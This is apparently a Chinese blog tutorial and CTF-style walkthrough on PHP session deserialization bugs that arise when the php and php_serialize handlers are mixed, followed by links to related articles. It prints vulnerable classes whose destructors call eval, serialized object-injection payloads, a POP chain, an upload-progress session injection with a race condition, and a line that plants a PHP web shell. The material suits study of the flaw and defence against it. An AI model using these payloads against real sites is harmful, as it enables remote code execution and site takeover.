php中session中的反序列
1、php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
2、php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
3、php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
phpinfo.php默认处理方式就是php
第一种php的:
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['afanti']='test';
生成的session文件 afanti|s:4:"test";
第二种php_binary:
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['afanti']='test';
生成的session文件 afantis:4:"test";
第三种php_serialize :
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['afanti']='test';
生成的session文件 a:1:{s:6:"afanti";s:4:"test";}
如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
原因是未正确处理\\’|\\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据
举个简单例子,看下session参数配置:
存在index.php和class.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
index.php,使用php_serialize来存放session
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
class.php
使用php来使用session。这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}作为value,然后进行反序列化,最后就会得到lemon这个类,覆盖h1变量是phpinfo();就会被执行。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
<?php ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
} function __destruct() {
eval($this->hi);
}
}
?>
exp.php构造payload
<?php class lemon
{
public $hi = 'phpinfo();';
}
$a = new lemon();
echo serialize($a); //O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}
将构造好的payload:|O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";} 提交就会生成如下seesion文件。
访问class.php时 var_dump($_SESSION); a:1:{s:6:"spoock";s:44:" 已经当做key了。我构造好的payload当做值了。成功执行了phpino()函数。
小结一下:
1、在存储session时,php_serialize来处理session(默认设置时,看phpinfo页面)
2、使用session时,使用php处理session。
3、什么时候反序列化session对象,记住当使用session_start()函数的时候,就会自动反序列化session文件中的对象。
接下来一道实战:
class.php 明显是让构造pop链
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
} class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
} class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
index.php
ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start();
var_dump($_SESSION); $obj = new foo1(); $obj->varr = "phpinfo.php";
phpinfo页面,这时候知道存储session时是php_serialize. index.php处理session是 php。所以存在反序列化的洞
我们先构造payload: 执行phpinfo函数。 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
<?php class foo3{
public $varr='phpinfo();';
function execute()
{
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
} class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
} }
$a = new foo1();
echo serialize($a); //O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
问题来了。我们输入不可控制,怎么注入payload,这个可以参考另一篇我写的文章。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下,在123的位置注入payload
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
怎么进行注入,访问哪个页面会写入session中哪?其实当我们访问网站任意一个网页(保证session是以php_serialize方式存储的都可以)就能将session注入到文件中这里。建立一个index1.php空网页。
构造如下数据包:
生成的session文件内容
访问index.php。因为index.php 有session_start()有反序列化操作,还包含了class.php类,
看我们打印出来的session.因为是php处理的session,a:1:{s:146:"upload_progress_121被当做key。注入的对象当成值,导致注入,成功执行了phpinfo()。
假如cleanup开启是on时,回清空注入的payload。我们可以通过时间竞争来生成shell.
通过burp 如下配置
当开始跑的时候,访问index.php。下面是成功反序列化的结果。当把payload换成 file_put_content('file','<?php eval($_POST['afanti']);?>');访问就能生成shell
参考连接:
https://yq.aliyun.com/ziliao/612
http://www.91ri.org/15925.html
php中session中的反序列的更多相关文章
- 第十六节:Asp.Net Core中Session的使用、扩展、进程外Session
一. 简介 关于Session的原理可参照Asp.Net版本Session的文章,去查阅. 1. 普通用法 (1).通过Nuget引入[Microsoft.AspNetCore.Http]程序集,Co ...
- PHP 中Session 反序列化机制的三种方法
�php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler=""- ...
- ASP.NET中Session的sessionState 4种mode模式
1. sessionState的4种mode模式 在ASP.NET中Session的sessionState的4中mode模式:Off.InProc.StateServer及SqlServer. 2. ...
- Hibernate Session中的save(),update(),delete(),saveOrUpdate() 细粒度分析
Hibernate在对资料库进行操作之前,必须先取得Session实例,相当于JDBC在对资料库操作之前,必须先取得Connection实例, Session是Hibernate操作的基础,它不是设计 ...
- Spring MVC中Session的正确用法<转>
Spring MVC是个非常优秀的框架,其优秀之处继承自Spring本身依赖注入(Dependency Injection)的强大的模块化和可配置性,其设计处处透露着易用性.可复用性与易集成性.优良的 ...
- Session中load/get方法的详细区别
Session.load/get方法均可以根据指定的实体类和id从数据库读取记录,并返回与之对应的实体对象.其区别在于: 如果未能发现符合条件的记录,get方法返回null,而load方法会抛出一个O ...
- 取出session中的所有属性与值的方法
如果你想取出session中所有的属性和值,可以通过getAttributeNames()方法来实现,具体代码如下 //获取session HttpSession session = request. ...
- php中session原理及安全性问题
有一点我们必须承认,大多数web应用程序都离不开session的使用.这篇文章将会结合php以及http协议来分析如何建立一个安全的会话管理机制 我们先简单的了解一些http的知识,从而理解该协议 ...
- java 中Session 持久化问题
首先: 今天发现了个session 持久化的问题 在Tomcat 停止运行后再启动 session 中保存的东西还会存在 ,百度了一下 原理 1.Session Create 时 2.Sessio ...
随机推荐
- 如何在 Azure 中创建 ASP.NET Web 应用
Azure Web 应用提供高度可缩放.自修补的 Web 托管服务. 本快速入门演示如何将第一个 ASP.NET Web 应用部署到 Azure Web 应用中. 完成后,便拥有了一个资源组,该资源组 ...
- [FORWARD]ODBC 各种数据库连接串
Overview Generally, one of the first steps when you are trying to work with databases is open it. Yo ...
- ASP.Net之一般处理程序
1.静态语言和动态语言 静态语言:在服务器端,不会被执行,直接作为 字符串 发回给浏览器,由浏览器运行的语言( HTML+CSS+JS). 动态语言:在服务端,会被服务器端的某种语言的虚拟机执行的 ...
- 【原】Java跨域以及实现原理
前言:最近研究了一下跨域,主要是jsonp的实现,经过测试后总结如下: 一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面.动态网页.web服务.WCF,只要是跨 ...
- HDU 2639(01背包第K大)
http://acm.hdu.edu.cn/showproblem.php?pid=2639 http://blog.csdn.net/lulipeng_cpp/article/details/758 ...
- 中小型研发团队架构实践三:微服务架构(MSA)
一.MSA 简介 1.1.MSA 是什么 微服务架构 MSA 是 Microservice Architect 的简称,它是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相通讯.互相 ...
- Freebsd10.3 Nginx多版本PHP
服务器上需要使用多个php版本,费了好几天劲,终于有所收获.记录如下: 1.下载php-5.5.37.tar.bz2. 2.tar zvxf php-5.5.37.tar.bz2 -C /usr/l ...
- 【PyQt5 学习记录】002:添加部件及网格布局
#!/usr/bin/python3 # -*- coding:utf-8 -*- import sys from PySide2.QtWidgets import (QApplication, QW ...
- 实现键盘记录的e.Whick和keyCode,兼容FireFox和IE
主要分四个部分第一部分:浏览器的按键事件第二部分:兼容浏览器第三部分:代码实现和优化第四部分:总结 第一部分:浏览器的按键事件 用js实现键盘记录,要关注浏览器的三种按键事件类型,即keydown,k ...
- Python删除开头空格
# -*- coding: utf-8 -*- '''打开delSpace.txt文本并删除每行开头的八个空格''' f=open("delSpace.txt") lines=f. ...